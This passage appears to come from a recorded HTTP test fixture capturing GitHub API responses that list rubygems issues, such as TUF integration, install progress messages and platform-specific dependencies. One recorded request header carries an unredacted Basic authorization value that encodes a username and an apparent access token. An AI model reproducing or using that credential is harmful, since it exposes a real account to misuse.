N0ZW0gZm9yIHRoZSBleGlzdGluZyBtZXRhZGF0YSB1c2VkIGJ5IFJ1YnlHZW1zLlxuXG5XZSd2ZSBkb2N1bWVudGVkIG91ciBwbGFucyBoZXJlOlxuXG5odHRwczovL2RvY3MuZ29vZ2xlLmNvbS9kb2N1bWVudC9kLzFvNjh2VkxBZ3F5Sy0tdTBzZkp4OE9SbERTamMzb3lNdEQ4ZGo3a051T2EwL1xuXG5TaW1pbGFyIHdvcmsgaXMgYmVpbmcgZG9uZSBpbiBQeXRob24gdG8gaW50ZWdyYXRlIFRVRiB3aXRoIFB5UEk6XG5cbmh0dHBzOi8vZ2l0aHViLmNvbS90aGV1cGRhdGVmcmFtZXdvcmsvcGVwLW9uLXB5cGktd2l0aC10dWZcblxuVFVGIHByb3ZpZGVzIGEgc2VjdXJpdHkgbW9kZWwgZm9yIHNvZnR3YXJlIHVwZGF0ZSBzeXN0ZW1zIHdoaWNoIHVzZXMgYSBcImxlYXN0IGF1dGhvcml0eVwiIGFwcHJvYWNoIHdpdGggbXVsdGlwbGUgcm9sZXMgd2l0aCBsaW1pdGVkIHBvd2VyIGFuZCBhIGNvbWJpbmF0aW9uIG9mIG9ubGluZSBhbmQgb2ZmbGluZSBrZXlzOlxuXG4hW1RVRiBUcnVzdCBNb2RlbF0oaHR0cHM6Ly9yYXcuZ2l0aHViLmNvbS90aGV1cGRhdGVmcmFtZXdvcmsvcGVwLW9uLXB5cGktd2l0aC10dWYvbWFzdGVyL2ZpZ3VyZTEucG5nKVxuXG5XZSAoYnkgd2hpY2ggSSBtZWFuIEB4YXZpZXJzaGF5IDspIGhhdmUgYWxzbyBpbXBsZW1lbnRlZCBzZXJ2ZXIgc3VwcG9ydCBmb3IgUnVieUdlbXMub3JnIHdoaWNoIHdlJ2xsIGJlIHN1Ym1pdHRpbmcgaW4gYSBzZXBhcmF0ZSBQUi5cblxuVGhlcmUgYXJlIGEgbnVtYmVyIG9mIHJvbGVzIGluIFRVRiBhbmQgdGhlIGV4aXN0aW5nIHdvcmsgZG9lc24ndCBpbXBsZW1lbnQgYWxsIG9mIHRoZW0uIEhlcmUncyBhIGNoZWNrbGlzdCBvZiB3aGF0J3MgYmVlbiBhY2NvbXBsaXNoZWQgYW5kIHdoYXQncyBuZWVkZWQ6XG4tIFt4XSBHZW06OlRVRjo6UHVibGljS2V5XG4tIFsgXSBHZW06OlRVRjo6UHJpdmF0ZUtleS9LZXlTdG9yZT9cbi0gW3hdIEdlbTo6VFVGOjpTaWduZXIvVmVyaWZpZXJcbi0gW3hdIEdlbTo6VFVGOjpSb290XG4tIFsgXSBHZW06OlRVRjo6VGFyZ2V0c1xuLSBbIF0gR2VtOjpUVUY6OlRhcmdldHM6OkNsYWltZWQgKG9mZmxpbmUgZGVsZWdhdGlvbiB0byBvZmZsaW5lIGRldmVsb3BlciBrZXlzKVxuLSBbIF0gR2VtOjpUVUY6OlRhcmdldHM6OlJlY2VudGx5Q2xhaW1lZCAob25saW5lIGRlbGVnYXRpb24gdG8gb2ZmbGluZSBkZXZlbG9wZXIga2V5cylcbi0gWyBdIEdlbTo6VFVGOjpUYXJnZXRzOjpVbmNsYWltZWQgKGdyYW5kZmF0aGVyIGluIG9sZCBnZW1zKVxuLSBbIF0gR2VtOjpUVUY6OlJlbGVhc2VzXG4tIFsgXSBHZW06OlRVRjo6VGltZXN0YW1wXG4tIFsgXSBHZW06OlJlbW90ZUZldGNoZXIgc3VwcG9ydCBmb3IgVFVGXG4tIFsgXSBSdWJ5IDEuOCBzdXBwb3J0IGZvciBKU09OXG4tIFsgXSBNb3ZlIENhbm9uaWNhbEpTT04gdG8gdGhlIEdlbTo6VFVGIG5hbWVzcGFjZVxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MDUiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvNzA1L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MDUvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvNzA1L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MDUiLCJpZCI6MjIxMDk5MjIsIm51bWJlciI6NzA1LCJ0aXRsZSI6IlJlc29sdXRpb24gcHJvZ3Jlc3MgaW5kaWNhdGlvbi4iLCJ1c2VyIjp7ImxvZ2luIjoiYWxsb3kiLCJpZCI6MjMyMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjMyMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxsb3kiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9hbGxveSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FsbG95L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FsbG95L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FsbG95L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbGxveS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FsbG95L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxsb3kvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxsb3kvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbGxveS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYWxsb3kvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIxOSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwaW5zdGFsbCIsIm5hbWUiOiJjYXRlZ29yeTogaW5zdGFsbCIsImNvbG9yIjoiMGIwMmUxIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNzg4MTAxMSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHJlYWR5IiwibmFtZSI6InN0YXR1czogcmVhZHkiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo4LCJjcmVhdGVkX2F0IjoiMjAxMy0xMS0wNVQxMDowNDoyOVoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wNi0wOVQwOToyMDoxMVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSeKAmXZlIHRyaWVkIHRvIHNlYXJjaCB0aGUgZXhpc3RpbmcgdGlja2V0cyBhbmQgdGhlIFtzdXBwb3J0IHNpdGVdKGh0dHA6Ly9oZWxwLnJ1YnlnZW1zLm9yZykgYW5kIGV4Y2VwdCBmb3IgYSBzdWdnZXN0aW9uIHRvIGFkZCBhIHByb2dyZXNzIGJhciwgSSBoYXZlbuKAmXQgc2VlbiBteSBzcGVjaWZpYyBpc3N1ZSBhZGRyZXNzZWQuIEkgaG9wZSB0aGlzIGlzIHRoZSByaWdodCBwbGFjZSBmb3IgYSBkaXNjdXNzaW9uIHRpY2tldCwgb3RoZXJ3aXNlIHBsZWFzZSB0ZWxsIG1lIHdoZXJlIHRvIG1vdmUgaXQuXG5cbi0tLVxuXG5XZSB3b3JrIG9uIGEgZGVwZW5kZW5jeSBtYW5hZ2VyIGZvciBPYmplY3RpdmUtQyBwcm9qZWN0cywgY2FsbGVkIFtDb2NvYVBvZHNdKGh0dHBzOi8vZ2l0aHViLmNvbS9Db2NvYVBvZHMvQ29jb2FQb2RzKSwgYW5kIGFzIHN1Y2ggd2UgaGF2ZSBhIGxvdCBvZiB1c2VycyB3aG8gaGF2ZSBuZXZlciB1c2VkIFJ1YnlHZW1zIGJlZm9yZS4gQSBxdWVzdGlvbiB0aGF04oCZcyBjb21pbmcgdXAgbW9yZSBhbmQgbW9yZSBmcmVxdWVudCBpcyByZWdhcmRpbmcgaW5kaWNhdGlvbiB0aGF0IFJ1YnlHZW1zIGlzIGRvaW5nIGFueXRoaW5nLCBvciByYXRoZXIgdGhlIGxhY2sgdGhlcmVvZi5cblxuSW5ldml0YWJseSB0aGlzIGxlYWRzIHRvIHBlb3BsZSBjYW5jZWxsaW5nIHRoZSBpbnN0YWxsYXRpb24gYSBjb3VwbGUgb2YgdGltZXMgYmVmb3JlIHRoZXkgcmVhbGlzZSB0aGF0IHRoZXkgbmVlZCB0byBsZXQgaXQgcnVuIG9yIHR1cm4gdG8gdHdpdHRlciB0byBjb21wbGFpbiBhYm91dCBvdXIgaW5zdGFsbGF0aW9uIHByb2Nlc3MuIFNvIHdoaWxlIEkgcHJlZmVyIGxlc3Mgb3V0cHV0IG92ZXIgbW9yZSwgdGhlIHVzZXItZXhwZXJpZW5jZSBjb3VsZCBkbyB3aXRoIGEgYml0IG9mIGltcHJvdmluZywgZXZlbiBpZiBpdOKAmXMgbm90IHJlYWxseSBuZWVkZWQgZm9yIHRoZSBleHBlcmllbmNlZCBSdWJ5R2VtcyB1c2VyLlxuXG5UaGlzIGlzIF9ub3RfIGFib3V0IHByb2dyZXNzIGluZGljYXRpb24gb25jZSBnZW1zIGFyZSBiZWluZyBkb3dubG9hZGVkLCBidXQgYWJvdXQgdGhlIHBlcmlvZCBfYmV0d2Vlbl8gZW50ZXJpbmcgdGhlIGluc3RhbGwgY29tbWFuZCBhbmQgdGhlIGZpcnN0IHNpZ24gb2Ygb3V0cHV0LiAoQW4gZWR1Y2F0ZWQgZ3Vlc3MgaXMgdGhhdCBkdXJpbmcgdGhpcyBwZXJpb2QgaXTigJlzIGRvd25sb2FkaW5nIHRoZSBtYXJzaGFsbGVkIHNwZWNzIGFuZCByZXNvbHZpbmcgdmVyc2lvbnMgZXRjLilcblxuV2UgY291bGQgc3VnZ2VzdCB1c2VycyB0byB1c2UgdGhlIHZlcmJvc2Ugb3B0aW9uLCBidXQgdGhhdFx1MDAxROKAmXMgbm90IHByZXR0eSBhbmQvb3IgdXNlci1mcmllbmRseS4gTXkgY3VycmVudCBzdWdnZXN0aW9uIHdvdWxkIGJlIHRvIHByaW50IHNvbWUgaGVscGZ1bCBtZXNzYWdlIF9pbW1lZGlhdGVseV8gYWZ0ZXIgZW50ZXJpbmcgdGhlIGNvbW1hbmQsIG9yLCBpbiBjYXNlIGluc3RhbGxpbmcgZ2VtcyBjYW4gc29tZXRpbWVzIGJlIGZpbmlzaGVkIGluIG1lcmUgc2Vjb25kcywgdG8gYWRkIGEgc2hvcnQgdGltZW91dCBiZWZvcmUgcHJpbnRpbmcsIGkuZS4gc2hvdyBoZWxwZnVsIG1lc3NhZ2UgYWZ0ZXIgMy01IHNlY29uZHMgaW4gY2FzZSBnZW1zIGFyZSBub3QgYmVpbmcgZG93bmxvYWRlZCB5ZXQuXG5cbi0tLVxuXG5UaGUgb3V0cHV0IG9mIHRoZSB2YXJpb3VzIHBoYXNlcyB3b3VsZCB0aGVuIGxvb2sgbGlrZSB0aGlzOlxuXG5gYGBcbiQgZ2VtIGluc3RhbGwgeGNvZGVwcm9qXG5VcGRhdGluZyBhdmFpbGFibGUgZ2VtcyBkYXRhLi4uXG5gYGBcblxuYGBgXG5CdWlsZGluZyBuYXRpdmUgZXh0ZW5zaW9ucy4gIFRoaXMgY291bGQgdGFrZSBhIHdoaWxlLi4uXG5gYGBcblxuYGBgXG5TdWNjZXNzZnVsbHkgaW5zdGFsbGVkIHhjb2RlcHJvai0wLjE0LjFcbjEgZ2VtIGluc3RhbGxlZFxuYGBgXG5cbkl0IGRvZXNu4oCZdCBuZWVkIHRvIGJlIGEgbWVzc2FnZSBidHcsIEkgY291bGQgYWxzbyBpbWFnaW5lIGEgZG90IHByb2dyZXNzIHJlcG9ydGVyIGZvciBlYWNoIHNtYWxsIHN0ZXAgZHVyaW5nIHRoYXQgcGVyaW9kLiBFLmcuIGZvciBlYWNoIHJlZGlyZWN0IGR1cmluZyBzcGVjcyBmZXRjaGluZy5cblxuLS0tXG5cblBTOiBJbiBjYXNlIHRoaXMgaXMgc29tZXRoaW5nIHdlIGNhbiBhZ3JlZSBvbiBJ4oCZbSBtb3JlIHRoYW4gd2lsbGluZyB0byB3aGlwIHVwIGEgcGF0Y2ghXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzY3NyIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy82NzcvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzY3Ny9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy82NzcvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzY3NyIsImlkIjoyMDczNjQ3MiwibnVtYmVyIjo2NzcsInRpdGxlIjoiaW1wcm92ZSBnZW0gaW5zdGFsbCAtLWRlZmF1bHQiLCJ1c2VyIjp7ImxvZ2luIjoibXBhcGlzIiwiaWQiOjQ4MDU0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80ODA1ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbXBhcGlzIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbXBhcGlzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9tcGFwaXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL21wYXBpcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjE5LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9jYXRlZ29yeTolMjBpbnN0YWxsIiwibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NDEsImNyZWF0ZWRfYXQiOiIyMDEzLTEwLTA5VDExOjMyOjA0WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIxOjE1WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiRm9yd2FyZGluZyBwcm9ibGVtcyB3aXRoIHRoZSBuZXcgW3J1YmluaXVzXShodHRwczovL2dpdGh1Yi5jb20vcnViaW5pdXMvcnViaW5pdXMpIGFuZCBbcnVieXNsXShodHRwczovL2dpdGh1Yi5jb20vcnVieXNsKSA9PiBodHRwczovL2dpdGh1Yi5jb20vd2F5bmVlc2VndWluL3J2bS9pc3N1ZXMvMjI2MCAuLi4gYmFzaWNhbGx5IGl0IGlzIGFib3V0IHN0YW5kYXJkIGxpYnJhcnkgZ2VtcyBub3QgZm91bmQgaW4gZmV3IGNhc2VzLCB1c3VhbGx5IHdpdGggYnVuZGxlci5cblxuV2hhdCBJIHdvdWxkIGxpa2UgdG8gc2VlIGZyb20gcnVieWdlbXMgc2lkZSBpcyB0byBtYWtlIGBnZW0gaW5zdGFsbCAtLWRlZmF1bHRgIHRvIGZ1bGx5IGluc3RhbGwgdGhlIGdlbXMgaW4gYCRMT0FEX1BBVEhgIGFuZCBidWlsZCBuYXRpdmUgZXh0ZW5zaW9ucyAobGlrZSBbemxpYl0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlzbC9ydWJ5c2wtemxpYi9ibG9iLzIuMC9leHQvcnVieXNsL3psaWIvZXh0Y29uZi5yYikpLCBtb3N0IG9mIHRoZSBjb2RlIGlzIGluIHBsYWNlIHRoZXJlIHdvdWxkIGJlIG5lZWRlZCBhbiBleHRyYSBgaWZgIHRvIHJlY29nbml6ZSBgLS1kZWZhdWx0LXN0ZGxpYmAgLSB3aGljaCB3b3VsZCBpbnN0YWxsIHRoZSBmaWxlcyBpbiBzdGRsaWIgYW5kIGNvbXBpbGUgZXh0ZW5zaW9ucyAtIGNvbXBhcmVkIHRvIGN1cnJlbnQgYC0tZGVmYXVsdGAgd2hpY2ggb25seSBhZGRzIHNwZWNpZmljYXRpb25zLlxuXG5JJ20gb3BlbmluZyB0aGlzIG1vcmUgZm9yIGRpc2N1c3Npb24gYW5kIGFza2luZyBpZiB0aGF0IGNoYW5nZSB3b3VsZCBiZSBhcHByb3ZlZCwgSSBjYW4gcHJlcGFyZSBjb2RlIGZvciBpdC5cblxuY2MgQGhlYWRpdXMsIEBicml4ZW4uXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzYyOCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy82MjgvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzYyOC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy82MjgvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzYyOCIsImlkIjoxODcyMTc2MywibnVtYmVyIjo2MjgsInRpdGxlIjoiUGxhdGZvcm0gc3BlY2lmaWMgZGVwZW5kZW5jaWVzIiwidXNlciI6eyJsb2dpbiI6InZveGlrIiwiaWQiOjE0NDA2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNDQwNj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS92b3hpayIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIyMywidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY2F0ZWdvcnk6JTIwb3RoZXIiLCJuYW1lIjoiY2F0ZWdvcnk6IG90aGVyIiwiY29sb3IiOiIwYjAyZTEiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjgsImNyZWF0ZWRfYXQiOiIyMDEzLTA4LTI5VDA5OjU4OjU2WiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA5VDA5OjIxOjE1WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiT24gRmVkb3JhLCBpdCBoYXBwZW5zIHF1aXRlIG9mdGVuLCB0aGF0IHdlIG5lZWQgZGlmZmVyZW50IGRlcGVuZGVuY2llcyB0aGVuIG90aGVyIHBsYXRmb3JtIGRvZXMuIFR5cGljYWxseSwgaXQgbWFrZXMgbm8gc2Vuc2UgZm9yIHVzIHRvIHNoaXAgcGxhdGZvcm0gc3BlY2lmaWMgY29kZSBmb3Igc29tZSBnZW1zLCBvciBpbnN0YWxsIGdlbXMgc3VjaCBhcyBiYWNrcG9ydHMsIHdoZW4gd2UgYXJlIHJ1bm5pbmcgdGhlIG1vc3QgcmVjZW50IHZlcnNpb24gb2YgUnVieS4gVGhpcyB3b3VsZCBhbGxvdyB0byBwcm9wZXJseSBzb2x2ZSBpc3N1ZXMgc3VjaCBhcyBodHRwczovL2dpdGh1Yi5jb20vZ3VhcmQvbGlzdGVuL2lzc3Vlcy84MyB3aXRob3V0IHVubmVjZXNzYXJ5IGRpc3B1dGVzLiBUaGFua3MuXG4ifV0= http_version: recorded_at: Sat, 06 Jan 2018 15:00:32 GMT - request: method: get uri: https://api.github.com/repositories/614070/issues?page=6&per_page=30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4301' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"6ae2f4d62c8f9075a70ca0f5462e5708" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Link: - ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.153472' X-Github-Request-Id: - A3F4:4D97:903FDB:1C491D4:5A50E490 body: encoding: ASCII-8BIT string: '[{"url":"https://api.github.com/repos/rubygems/rubygems/issues/624","repository_url":"https://api.github.com/repos/rubygems/rubygems","labels_url":"https://api.github.com/repos/rubygems/rubygems/issues/624/labels{/name}","comments_url":"https://api.github.com/repos/rubygems/rubygems/issues/624/comments","events_url":"https://api.github.com/repos/rubygems/rubygems/issues/624/events","html_url":"https://github.com/rubygems/rubygems/issues/624","id":18604892,"number":624,"title":"[RFE] install/build dependency","user":{"login":"voxik","id":14406,"avatar_url":"https://avatars0.githubusercontent.com/u/14406?v=4","gravatar_id":"","url":"https://api.github.com/users/voxik","html_url":"https://github.com/voxik","followers_url":"https://api.github.com/users/voxik/followers","following_url":"https://api.github.com/users/voxik/following{/other_user}","gists_url":"https://api.github.com/users/voxik/gists{/gist_id}","starred_url":"https://api.github.com/users/voxik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/voxik/subscriptions","organizations_url":"https://api.github.com/users/voxik/orgs","repos_url":"https://api.github.com/users/voxik/repos","events_url":"https://api.github.com/users/voxik/events{/privacy}","received_events_url":"https://api.github.com/users/voxik/received_events","type":"User","site_admin":false},"labels":[{"id":305141032,"url":"https://api.github.com/repos/rubygems/rubygems/labels